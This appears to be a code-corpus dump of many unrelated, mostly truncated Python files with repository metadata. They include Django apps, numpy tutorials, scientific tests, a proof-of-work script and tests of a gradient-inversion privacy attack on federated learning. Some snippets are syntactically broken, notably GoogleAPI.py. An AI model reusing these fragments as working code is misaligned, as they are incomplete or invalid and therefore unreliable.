"MIT"
] | null | null | null | py_restart_merge.py | ligang945/pyMisc | 3107c80f7f53ffc797b289ec73d1ef4db80f0b63 | [
"MIT"
] | null | null | null | py_restart_merge.py | ligang945/pyMisc | 3107c80f7f53ffc797b289ec73d1ef4db80f0b63 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import sys
import os
import time
def replace_in_file(old_str, new_str):
file_name = 'ini/config/xdr_build.xml'
str = open(file_name, 'r').read().replace(old_str, new_str)
open(file_name, 'w').write(str)
def run_with_thread(i):
replace_in_file('<!--lg', '')
n = i+10
... | 26.833333 | 64 | 0.606625 |
6655014e014f94baa9831858d8be81d8816adb27 | 971 | py | Python | Integrations/python/functional-tests/numba_vectorized_filter_test.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | 55 | 2021-05-11T16:01:59.000Z | 2022-03-30T14:30:33.000Z | Integrations/python/functional-tests/numba_vectorized_filter_test.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | 943 | 2021-05-10T14:00:02.000Z | 2022-03-31T21:28:15.000Z | Integrations/python/functional-tests/numba_vectorized_filter_test.py | devinrsmith/deephaven-core | 3a6930046faf1cd556f62a914ce1cfd7860147b9 | [
"MIT"
] | 29 | 2021-05-10T11:33:16.000Z | 2022-03-30T21:01:54.000Z | #
# Copyright (c) 2016-2021 Deephaven Data Labs and Patent Pending
#
import unittest
from numba import vectorize, int64, int32, int16, boolean, short
from deephaven import TableTools
import bootstrap
@vectorize([boolean(int64, int64)])
def vectorized_func(x, y):
return x % 2 > y % 5
@vectorize([short(int64, int... | 26.243243 | 95 | 0.668383 |
b0c1560631820b6974fae6f9510c6aac5957ab13 | 522 | py | Python | main/migrations/0005_auto_20210322_2025.py | KumarPython/Sentdex-Tutorial-2 | bc5854bd24582cba643f1468c930293a772cec5e | [
"Apache-2.0"
] | null | null | null | main/migrations/0005_auto_20210322_2025.py | KumarPython/Sentdex-Tutorial-2 | bc5854bd24582cba643f1468c930293a772cec5e | [
"Apache-2.0"
] | null | null | null | main/migrations/0005_auto_20210322_2025.py | KumarPython/Sentdex-Tutorial-2 | bc5854bd24582cba643f1468c930293a772cec5e | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.1.5 on 2021-03-22 14:55
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('main', '0004_auto_20210322_2023'),
]
operations = [
migrations.AlterField(
model_name='tutorial... | 26.1 | 145 | 0.659004 |
af2387bb572a3a55938ef72df56f38f30ea1805c | 1,762 | py | Python | tutorials/numerical_computation/model/run.py | w-ghub/demos | 6382676fae89bd5a190626612712fcedf17bca6d | [
"MIT"
] | 56 | 2020-07-08T23:23:15.000Z | 2022-03-11T20:43:09.000Z | tutorials/numerical_computation/model/run.py | w-ghub/demos | 6382676fae89bd5a190626612712fcedf17bca6d | [
"MIT"
] | 41 | 2020-07-11T23:24:06.000Z | 2022-01-28T13:28:07.000Z | tutorials/numerical_computation/model/run.py | w-ghub/demos | 6382676fae89bd5a190626612712fcedf17bca6d | [
"MIT"
] | 39 | 2020-07-15T11:35:04.000Z | 2022-02-01T16:02:51.000Z | import pandas as pd
from .sys_params import initial_values
from model import config
from cadCAD.engine import ExecutionMode, ExecutionContext,Executor
from cadCAD import configs
def run():
'''
Definition:
Run simulation
'''
# Single
exec_mode = ExecutionMode()
local_mode_ctx = ExecutionCon... | 33.884615 | 106 | 0.687855 |
3c0616daaa429798cc11a317b3fac5acafc0d239 | 549 | py | Python | migratory_birds.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | migratory_birds.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | migratory_birds.py | nirobio/puzzles | fda8c84d8eefd93b40594636fb9b7f0fde02b014 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
from collections import Counter
#https://www.hackerrank.com/challenges/migratory-birds/problem
def migratoryBirds(arr):
arr.sort()
freq = Counter(arr)
maximum = (max(freq, key=freq.get))
return maximum
if __name__ == '__main__... | 17.15625 | 62 | 0.663024 |
3c4e0bbe6b88f97953d06860a0af0ed143865af3 | 1,183 | py | Python | Versuch2/task2.2.py | Tobias-Schoch/SSS | f8b078ca7f6482fc7c89d5f9e784a549459eefb7 | [
"MIT"
] | null | null | null | Versuch2/task2.2.py | Tobias-Schoch/SSS | f8b078ca7f6482fc7c89d5f9e784a549459eefb7 | [
"MIT"
] | null | null | null | Versuch2/task2.2.py | Tobias-Schoch/SSS | f8b078ca7f6482fc7c89d5f9e784a549459eefb7 | [
"MIT"
] | 1 | 2022-01-06T12:47:53.000Z | 2022-01-06T12:47:53.000Z | import numpy as np
import cv2
# -------- Aufgabe2.2 -------- #
# Vector für das Korrekturbild
korrigiertes_bild = np.zeros((480, 640))
# Bild des Grauwertkeils einlesen und in Schwarz-Weiß umwandeln
grey = cv2.imread('data/Versuch1a.png', cv2.IMREAD_GRAYSCALE)
# Bild des Pixelweisen Mittelwerts einlesen
blackavg = c... | 31.972973 | 63 | 0.696534 |
3c8a23c99786c71f165787052dbb8f4be3d0ad33 | 1,207 | py | Python | authApp/views/detailUserView.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | null | null | null | authApp/views/detailUserView.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | 1 | 2022-01-05T23:52:37.000Z | 2022-01-05T23:52:37.000Z | authApp/views/detailUserView.py | xlausae/Web-Service | fbc4b45f34fe5ac69d8da2ffe09e5c32046e27d5 | [
"MIT"
] | null | null | null | from django.conf import settings
from rest_framework import generics, status
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated
from rest_framework_simplejwt.backends import TokenBackend
from authApp.models.... | 46.423077 | 82 | 0.689312 |
3c9b5ed2056fbaeb26d247d8e8bf2d6ea38a7eac | 3,126 | py | Python | Scripts/buildOpenAPI.py | HuttonICS/API | 22d61759a77f2ab3c4e610bb251684c78f71d2e6 | [
"MIT"
] | 40 | 2016-09-13T12:54:11.000Z | 2021-09-05T18:45:38.000Z | Scripts/buildOpenAPI.py | HuttonICS/API | 22d61759a77f2ab3c4e610bb251684c78f71d2e6 | [
"MIT"
] | 351 | 2016-08-10T17:58:38.000Z | 2021-09-15T12:19:48.000Z | Scripts/buildOpenAPI.py | HuttonICS/API | 22d61759a77f2ab3c4e610bb251684c78f71d2e6 | [
"MIT"
] | 32 | 2016-09-09T16:04:01.000Z | 2021-01-21T13:27:40.000Z | #! /usr/bin/env python
# --------------------------------------------READ ME-------------------------------------------------------
# Run this script to combine all the pieces of the the BrAPI specification into a single swagger file.
# ----------------------------------------------------------------------------------... | 35.931034 | 108 | 0.545425 |
b1d3d96145ad4c71661b2d10274ea0600f2139b1 | 3,278 | py | Python | .venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 21 | 2016-10-19T18:13:03.000Z | 2021-11-02T13:58:31.000Z | .venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 43 | 2016-10-11T20:56:28.000Z | 2020-08-20T16:39:38.000Z | .venv/Lib/site-packages/dexpy/tests/test_simplex_lattice.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 6 | 2017-12-22T03:47:37.000Z | 2021-03-13T03:45:26.000Z | from unittest import TestCase
from dexpy.simplex_lattice import build_simplex_lattice
from dexpy.eval import det_xtxi
from dexpy.model import make_model, ModelOrder
import numpy as np
import patsy
class TestSimplexLattice(TestCase):
@classmethod
def test_linear(cls):
"""Checks the optimality of linear... | 43.706667 | 73 | 0.590604 |
e9c5e6be9597416e5e96eee881858468cb500ad5 | 11,734 | py | Python | test/attack/inversion/test_gradientinversion.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 24 | 2021-11-17T02:16:47.000Z | 2022-03-27T01:04:08.000Z | test/attack/inversion/test_gradientinversion.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 9 | 2021-12-03T06:09:27.000Z | 2022-03-29T06:33:53.000Z | test/attack/inversion/test_gradientinversion.py | luoshenseeker/AIJack | 4e871a5b3beb4b7c976d38060d6956efcebf880d | [
"MIT"
] | 5 | 2022-01-12T09:58:04.000Z | 2022-03-17T09:29:04.000Z | def test_dlg():
import torch
import torch.nn as nn
from aijack.attack import GradientInversion_Attack
class LeNet(nn.Module):
def __init__(self, channel=3, hideen=768, num_classes=10):
super(LeNet, self).__init__()
act = nn.Sigmoid
self.body = nn.Sequential(... | 32.594444 | 86 | 0.611641 |
75e5e511a7b4ebaa2e7335363919b0fcae6c101b | 4,191 | py | Python | python/en/_numpy/dn-numpy_vectorize.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/dn-numpy_vectorize.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/dn-numpy_vectorize.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
dn-numpy_vectorize.py
[numpy.vectorize](https://docs.scipy.org/doc/numpy/reference/generated/numpy.vectorize.html)
class numpy.vectorize(pyfunc, otypes=None, doc=None, excluded=None, cache=False, signature=None)[source]
Define a vectorized function which takes a nest... | 27.754967 | 312 | 0.646147 |
f9eab480dcf214df12e6cd1b46224ff9af638db5 | 4,350 | py | Python | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_broadcasting.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS231n Convolutional Neural Networks for Visual Recognition
http://cs231n.github.io/
Python Numpy Tutorial
http://cs231n.github.io/python-numpy-tutorial/
Numpy Reference
https://docs.scipy.org/doc/numpy/reference/
￣
python_numpy_tutorial-numpy_broadcasting.py
2019-07... | 25.588235 | 220 | 0.634253 |
34ae3764f51a65325eb704822574867b97653135 | 34,421 | py | Python | large_vocab_adt_dafx2018/model_configurations.py | mcartwright/dafx2018_adt | 057ac6b1e39cd0c80554d52535cc9d88b6316c74 | [
"BSD-2-Clause"
] | 6 | 2019-02-28T05:43:58.000Z | 2021-03-02T17:05:13.000Z | large_vocab_adt_dafx2018/model_configurations.py | mcartwright/dafx2018_adt | 057ac6b1e39cd0c80554d52535cc9d88b6316c74 | [
"BSD-2-Clause"
] | null | null | null | large_vocab_adt_dafx2018/model_configurations.py | mcartwright/dafx2018_adt | 057ac6b1e39cd0c80554d52535cc9d88b6316c74 | [
"BSD-2-Clause"
] | 1 | 2020-02-07T17:10:40.000Z | 2020-02-07T17:10:40.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
class BaseModelConfiguration(object):
"""
Model configuration class that specifies variations of a model when training
Attributes
----------
name : str
The configuration name
config_id : int
The id of the configuration
model_ar... | 48.617232 | 94 | 0.519218 |
9b504eba5f8061d16459bd804cd0d27b0e599d01 | 2,196 | py | Python | jumeaux/addons/parser.py | ihatov08/jumeaux | 7d983474df4b6dcfa57ea1a66901fbc99ebababa | [
"MIT"
] | 11 | 2017-10-02T01:29:12.000Z | 2022-03-31T08:37:22.000Z | jumeaux/addons/parser.py | ihatov08/jumeaux | 7d983474df4b6dcfa57ea1a66901fbc99ebababa | [
"MIT"
] | 79 | 2017-07-16T14:47:17.000Z | 2022-03-31T08:49:14.000Z | jumeaux/addons/parser.py | ihatov08/jumeaux | 7d983474df4b6dcfa57ea1a66901fbc99ebababa | [
"MIT"
] | 2 | 2019-01-28T06:11:58.000Z | 2021-01-25T07:21:21.000Z | # -*- coding:utf-8 -*-
import html.parser
class HTMLToDictParser(html.parser.HTMLParser):
"""
Original is http://www.xavierdupre.fr/blog/2013-10-27_nojs.html
"""
def __init__(self, raise_exception=True):
html.parser.HTMLParser.__init__(self)
self.doc = {}
self.path = []
... | 30.929577 | 122 | 0.514572 |
fd2288bc89f8e2c8328facae2a6b8348f1021ea4 | 316 | py | Python | python_playground/analysis/workload.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 8 | 2020-04-14T23:17:00.000Z | 2021-06-21T12:34:04.000Z | python_playground/analysis/workload.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | null | null | null | python_playground/analysis/workload.py | RapidsAtHKUST/SimRank | 3a601b08f9a3c281e2b36b914e06aba3a3a36118 | [
"MIT"
] | 1 | 2021-01-17T16:26:50.000Z | 2021-01-17T16:26:50.000Z | def compute_pair_num(v_num):
return v_num ** 2 / 2 - v_num
if __name__ == '__main__':
v_num_dict = {
'ca-GrQc': 5242,
'ca-HepTh': 9877,
'p2p-Gnutella06': 8717,
'wiki-Vote': 7115
}
for key, v_num in v_num_dict.iteritems():
print key, compute_pair_num(v_num)
| 21.066667 | 45 | 0.572785 |
b5faea80f2a1cf4a08771e139f1237e21381dfd8 | 714 | py | Python | RedirectedLoginSession/util/template_context.py | kkysen/Soft-Dev | b19881b1fcc9c7daefc817e6b975ff6bce545d81 | [
"Apache-2.0"
] | null | null | null | RedirectedLoginSession/util/template_context.py | kkysen/Soft-Dev | b19881b1fcc9c7daefc817e6b975ff6bce545d81 | [
"Apache-2.0"
] | null | null | null | RedirectedLoginSession/util/template_context.py | kkysen/Soft-Dev | b19881b1fcc9c7daefc817e6b975ff6bce545d81 | [
"Apache-2.0"
] | null | null | null | import sys
context = sys.modules[__name__].__dict__ # type: dict[str, any]
def splat():
# type: () -> dict[str, any]
return context
def if_else(first, a, b):
# type: (bool, any, any) -> any
"""
Functional equivalent of conditional expression.
:param first: True or False
:param a: to b... | 18.789474 | 64 | 0.579832 |
1fb6fff11957e50591b6e00a9b0bebd38ef71b68 | 4,081 | py | Python | tools/legacy/pac-man/sspm-gui.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 2 | 2020-03-18T18:23:27.000Z | 2020-08-02T15:59:16.000Z | tools/legacy/pac-man/sspm-gui.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 5 | 2019-07-07T16:47:47.000Z | 2020-08-10T16:20:00.000Z | tools/legacy/pac-man/sspm-gui.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 1 | 2020-03-18T18:23:30.000Z | 2020-03-18T18:23:30.000Z | import glob
import os
import sys
import json
import tkinter.messagebox as msg
import importlib.util
from types import SimpleNamespace
from collections import namedtuple
UiModule = namedtuple("UiModule", "name module")
def getDefaultStatus():
result = None
recipes = glob.glob("recipes/*.json")
if len(rec... | 35.181034 | 222 | 0.716981 |
1f46418a895e773fe8423c540a9b91cca2e96d51 | 2,467 | py | Python | plugins/bundler/bundler.py | fernanluis/fernanluis.github.io | eb063d40f2893fb9dd5b22662f343827aa6b157a | [
"MIT"
] | 1 | 2021-02-15T12:19:44.000Z | 2021-02-15T12:19:44.000Z | plugins/bundler/bundler.py | fernanluis/fernanluis.github.io | eb063d40f2893fb9dd5b22662f343827aa6b157a | [
"MIT"
] | null | null | null | plugins/bundler/bundler.py | fernanluis/fernanluis.github.io | eb063d40f2893fb9dd5b22662f343827aa6b157a | [
"MIT"
] | null | null | null | import os
from pathlib import Path
from pelican import signals
# Function extracted from https://stackoverflow.com/a/19308592/7690767
# Las tres funciones que le dan toda la funcionalidad al plugin
def get_filepaths(directory, extensions=[], ignores=[]): # ignore es una lista de archivo que se deben ignorar
file_p... | 41.116667 | 148 | 0.706931 |
c06d0e3d2a238b4ac6e63b25cb553a199412207d | 3,764 | py | Python | GoogleAPI.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | GoogleAPI.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | GoogleAPI.py | illy777/Python_uebungen | 0106ebd8885974c0e22549688e33c49ddbbff179 | [
"Unlicense"
] | null | null | null | import googlemaps
import urllib
import json
import csv
import os
if os.path.exists(CredentialsGoogle) is True:
b = input("Dein Key ist immernoch der Gleiche, möchtest du ihn ändern? J/N: ")
if b = "J"
New_API = input("Bitte gib neuen API_Key ein: ")
with open(CredentialsGoogle, 'w') as f:
... | 40.042553 | 126 | 0.685972 |
f1b07ce452f69fe7dd5ba59b6ea308c7956b2d09 | 293 | py | Python | SBTK_League_Helper/src/tools/decorators.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | SBTK_League_Helper/src/tools/decorators.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | SBTK_League_Helper/src/tools/decorators.py | juanchodepisa/sbtk | 7cba7748e75a02b491e551d6c1be9bd7987c5051 | [
"MIT"
] | null | null | null | def class_initializer(Class): # I don't know why there isn't a normal convention for this.
convention = "__initClass__"
#convention = "_%s%s" % (Class.__name__, convention) # mangled name, not necessary in this case
method = getattr(Class, convention)
method()
return Class | 48.833333 | 99 | 0.706485 |
f1e643cf44a508a681116c9a9d72d4f6d65ea78b | 602 | py | Python | src/onegov/town/theme/town_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town/theme/town_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/town/theme/town_theme.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.utils import module_path
from onegov.org.theme import OrgTheme
from onegov.org.theme.org_theme import HELVETICA
# options editable by the user
user_options = {
'primary-color': '#006fba',
'font-family-sans-serif': HELVETICA
}
class TownTheme(OrgTheme):
name = 'onegov.town.foundation'
... | 21.5 | 72 | 0.674419 |
7b5250311ee63a8b76717d10a062aa77a7e45a28 | 1,071 | py | Python | src/classifier/torch_helpers/torch_dataloader.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 14 | 2021-08-24T12:36:37.000Z | 2022-03-18T12:14:36.000Z | src/classifier/torch_helpers/torch_dataloader.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | null | null | null | src/classifier/torch_helpers/torch_dataloader.py | krangelie/bias-in-german-nlg | 9fbaf50fde7d41d64692ae90c41beae61bc78d44 | [
"MIT"
] | 1 | 2021-10-21T20:22:55.000Z | 2021-10-21T20:22:55.000Z | import pandas as pd
import torch
from collections import Counter
from torchtext.vocab import Vocab
from torch.utils.data import TensorDataset, DataLoader, Dataset
import multiprocessing as mp
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
class RegardDataset(Dataset):
def __init__(self, da... | 25.5 | 69 | 0.662932 |
c8a373e88c55a30a577828e12ea2daff38795c14 | 119 | py | Python | ProjectEuler_plus/euler_016.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_016.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | ProjectEuler_plus/euler_016.py | byung-u/HackerRank | 4c02fefff7002b3af774b99ebf8d40f149f9d163 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
t = int(input())
for i in range(t):
n = int(input())
print(sum(map(int, str(2 ** n))))
| 17 | 37 | 0.546218 |
b54af3ff0d56072e8b37cbbc708961470a090200 | 5,770 | py | Python | tests/web.adblockplus.org/data/dataRedirects.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 9 | 2016-01-29T18:05:29.000Z | 2021-10-06T04:21:55.000Z | tests/web.adblockplus.org/data/dataRedirects.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 9 | 2015-04-06T19:03:32.000Z | 2019-05-28T13:34:55.000Z | tests/web.adblockplus.org/data/dataRedirects.py | adblockplus/web.adblockplus.org | c2c570ce4f4296afc3577afe233c6b23b128f206 | [
"MIT"
] | 18 | 2015-04-06T17:42:31.000Z | 2021-10-06T04:26:29.000Z | TEST_DATA_ABPO = [(
'/en',
'/en/',
), (
'/android',
'/',
), (
'/chrome',
'/',
), (
'/edge',
'/',
), (
'/firefox',
'/',
), (
'/internet-explorer',
'/',
), (
'/opera',
'/',
), (
'/safari',
'/',
), (
'/yandex-browser',
... | 21.691729 | 79 | 0.530156 |
a95884813ed4f3a08a68e5cfa2a1fbbadbbe1525 | 3,325 | py | Python | infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | null | null | null | infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | null | null | null | infrastructure/kctf/base/nsjail-docker/files/proof_of_work/pow.py | iicarus-bit/google-ctf | 4eb8742bca58ff071ff8f6814d41d9ec7eb1db4b | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import secrets
import socket
import sys
VERSION = 's'
MODULUS = 2**1279-1
CHALSIZE = 2**128
SOLVER_URL = 'https://github.com/google/google-ctf/blob/master/infrastructure/kctf/base/nsjail-docker/proof_of_work/pow.py'
def stdin_is_localhost_socket():
tr... | 26.388889 | 123 | 0.590376 |
8d2e3b9f9334ca27d863c7d0f5c3d870eba312c4 | 4,045 | py | Python | api/wsgi/src/devices/ecg/services.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | 2 | 2020-06-08T19:17:10.000Z | 2020-06-08T20:45:07.000Z | api/wsgi/src/devices/ecg/services.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | 14 | 2015-10-07T09:31:50.000Z | 2022-02-23T07:34:10.000Z | api/wsgi/src/devices/ecg/services.py | easyCZ/SLIP-A-2015 | ad386df9c438d93ec89f68c63d3deda12d27d1ed | [
"MIT"
] | null | null | null | from project import settings
import requests
import math
class EcgFirebaseService(object):
URL = settings.FIREBASE_URL + '/devices/%s/raw_ecg.json'
def __init__(self, device_id):
self.device_id = device_id
self.params = {
'orderBy': '"$key"'
}
self.url = self.URL %... | 29.100719 | 202 | 0.632386 |
8d45f5699eb2419ed024e2b314e12ab63db36f29 | 2,121 | py | Python | Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao9-Django-Projeto-Agenda-163-183/projeto_agenda/contatos/views.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | from django.shortcuts import render, get_object_or_404, redirect #import o error
from django.http import Http404 # Importa o error
from .models import Contato # Importar as classes que ta no modelss
from django.core.paginator import Paginator ## Quando for fazer paginação importa o Paginator
from django.db.mode... | 37.875 | 96 | 0.673739 |
a5d3fd7bda29593a22191b9dda1ee1aa9ecf7c2a | 2,330 | py | Python | plugins/tff_backend/utils/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | null | null | null | plugins/tff_backend/utils/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 178 | 2017-08-02T12:58:06.000Z | 2017-12-20T15:01:12.000Z | plugins/tff_backend/utils/__init__.py | threefoldfoundation/app_backend | b3cea2a3ff9e10efcc90d3d6e5e8e46b9e84312a | [
"Apache-2.0"
] | 2 | 2018-01-10T10:43:12.000Z | 2018-03-18T10:42:23.000Z | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 25.053763 | 74 | 0.704292 |
574d34c31e64c7a685033bf198360b4be387d5ff | 1,632 | py | Python | migrations/versions/9db14947d300_.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | null | null | null | migrations/versions/9db14947d300_.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | 35 | 2022-01-24T22:15:59.000Z | 2022-03-31T15:01:35.000Z | migrations/versions/9db14947d300_.py | DanielGrams/cityservice | c487c34b5ba6541dcb441fe903ab2012c2256893 | [
"MIT"
] | null | null | null | """empty message
Revision ID: 9db14947d300
Revises: 200a0947f146
Create Date: 2022-04-04 19:25:01.034091
"""
import sqlalchemy as sa
import sqlalchemy_utils
from alembic import op
from project import dbtypes
from project.models import PushPlatform
# revision identifiers, used by Alembic.
revision = "9db14947d300"
d... | 30.792453 | 83 | 0.650735 |
93c278c5f15695d2c862a6eb361fde806e55f44f | 3,998 | py | Python | clean_edges.py | YueYvetteHao/Sandbox | db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5 | [
"MIT"
] | null | null | null | clean_edges.py | YueYvetteHao/Sandbox | db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5 | [
"MIT"
] | null | null | null | clean_edges.py | YueYvetteHao/Sandbox | db2b8b0e751bfb7d86e7f2506fb81a75f8c3a3e5 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# Resolve conflicting paralogon connection
import sys
from paralogon_graph import get_paralog_node
edgefile = sys.argv[1]
global Edges
Edges = {}
file = open(edgefile, 'r')
for line in file:
line = line.rstrip("\n")
array = line.split("\t")
if int(array[2]) > 1:
if array[0] not in Edges:
E... | 25.303797 | 95 | 0.611556 |
93e9169d79ce91f6d4d9790382a94100afd4ef0d | 1,358 | py | Python | DnD/character.py | austinmh12/DiscordBots | 55550b68a7ad6423de55e62dbbff93fd88f08ff2 | [
"MIT"
] | null | null | null | DnD/character.py | austinmh12/DiscordBots | 55550b68a7ad6423de55e62dbbff93fd88f08ff2 | [
"MIT"
] | null | null | null | DnD/character.py | austinmh12/DiscordBots | 55550b68a7ad6423de55e62dbbff93fd88f08ff2 | [
"MIT"
] | null | null | null | from discord.ext import commands
import asyncio
from oauth2client.service_account import ServiceAccountCredentials as SAC
import gspread
import logging
import typing
scope = ['https://spreadsheets.google.com/feeds','https://www.googleapis.com/auth/drive']
cred = SAC.from_json_keyfile_name('dndbot_scopes.json', scope)
... | 35.736842 | 104 | 0.772459 |
f518b5ffd392dc03cb1c95e32cedc9ff2984645d | 1,615 | py | Python | brick/config.py | xsank/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | 9 | 2015-01-06T01:32:43.000Z | 2017-03-01T18:34:54.000Z | brick/config.py | jude90/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | null | null | null | brick/config.py | jude90/bottle | 4c228043ea31811fffd8eb30914d025c1fd43dc0 | [
"MIT"
] | 4 | 2015-02-05T09:48:43.000Z | 2016-02-22T15:04:35.000Z | '''
Created on 2013-4-21
@author: Xsank
'''
from httplib import responses
DEBUG=True
TEMPLATE_PATH=['./','./template/']
TEMPLATES={}
HTTP_CODES=responses
MEMFILE_MAX = 1024*100
LOG_FILE='brick.log'
LOG_FORMAT=(
'-' * 80 + '\n' +
'%(levelname)s in %(module)s [%(pathname)s:%(lineno)d]:\n' +
'%... | 29.363636 | 97 | 0.539319 |
f5a3e865e1cda41a5e0560a9b8d543987b5c0d1c | 1,244 | py | Python | src/bo4e/com/regionalepreisstaffel.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
